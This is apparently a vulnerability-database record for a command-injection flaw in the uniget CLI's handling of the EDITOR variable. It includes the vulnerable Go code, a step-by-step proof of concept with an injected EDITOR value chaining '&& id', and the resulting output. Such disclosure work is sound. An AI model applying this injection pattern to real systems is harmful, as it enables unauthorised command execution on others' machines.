{"id":"CVE-2026-55061","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-55061","summary":"uniget CLI has an EDITOR Command Injection","details":"### Summary\nThe uniget CLI has a command injection vulnerability in [hooks.go](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html) line 199 where [strings.Split(editor, \" \")](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html) naively parses the EDITOR environment variable without respecting shell syntax. An attacker can set EDITOR=\"/path/to/wrapper && id && echo\" which gets split into separate arguments, allowing the wrapper script to execute arbitrary commands like id. This was successfully exploited to execute uid=1000(w4nn4d13), confirming code execution is possible. The vulnerability affects hook editing and breaks configurations with modern editors like VSCode.\n\n**Vulnerable Code:**\n```\neditorWithArgs := strings.Split(editor, \" \")\n```\n\n**Location Context:**\n```\neditor := os.Getenv(\"UNIGET_EDITOR\")\nif len(editor) == 0 {\n    editor = os.Getenv(\"EDITOR\")\n}\neditorWithArgs := strings.Split(editor, \" \")  // ← VULNERABLE\ncommand := exec.Command(editorWithArgs[0], editorWithArgs[1:]...)\n```\n**Issue:** Naive space-splitting allows injection. EDITOR=\"script && id && echo\" splits into [\"script\", \"&&\", \"id\", \"&&\", \"echo\"] enabling command execution.\n\n## **Step to Reproduce**\n\n**Step 1: **Create malicious editor wrapper\n```\nmkdir -p /tmp/poc-editor\ncat > /tmp/poc-editor/editor_wrapper.sh << 'EOF'\n#!/bin/bash\necho \"[EDITOR] Received args: $@\"\nid\nEOF\nchmod +x /tmp/poc-editor/editor_wrapper.sh\n```\n\n**Step 2: **Create test hook\n```\nmkdir -p ~/.config/uniget/hooks/pre-install\ncat > ~/.config/uniget/hooks/pre-install/test.sh << 'EOF'\n#!/bin/bash\necho \"Test hook\"\nEOF\nchmod 700 ~/.config/uniget/hooks/pre-install/test.sh\n```\n**Step 3:** Set injection payload\n```\nexport EDITOR=\"/tmp/poc-editor/editor_wrapper.sh && id && echo\"\n```\n\n**Step 4:** Run vulnerable code\n```\ncd /home/w4nn4d13/Downloads/cli\ngo build -o uniget ./cmd/uniget\n./uniget hooks edit --type=pre-install test.sh\n```\n**Step 5:** Observe output\n```\n[EDITOR] Received args: && id && echo /path/to/hook\nuid=1000(w4nn4d13) gid=1000(w4nn4d13) groups=1000(w4nn4d13),65534(nfsnobody)\n```\n\n<img width=\"1017\" height=\"449\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9c72ea0c-fa08-46cd-a9cb-098942a488ce\" />","published":"2026-08-17T17:46:05Z","modified":"2026-08-17T18:00:08.809781244Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Go","name":"gitlab.com/uniget-org/cli","fixedVersion":"0.27.6"}],"fix":{"url":"https://github.com/uniget-org/cli/commit/7b4f18a9f00f0955f830c7ccf266ed0de5f9fd91","label":"uniget-org/cli@7b4f18a"},"references":[{"type":"WEB","url":"https://github.com/uniget-org/cli/security/advisories/GHSA-qmcq-xw74-w667"},{"type":"WEB","url":"https://github.com/uniget-org/cli/commit/7b4f18a9f00f0955f830c7ccf266ed0de5f9fd91"},{"type":"PACKAGE","url":"https://github.com/uniget-org/cli"},{"type":"WEB","url":"https://github.com/uniget-org/cli/releases/tag/v0.27.6"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-17T18:00:08.809781244Z"}}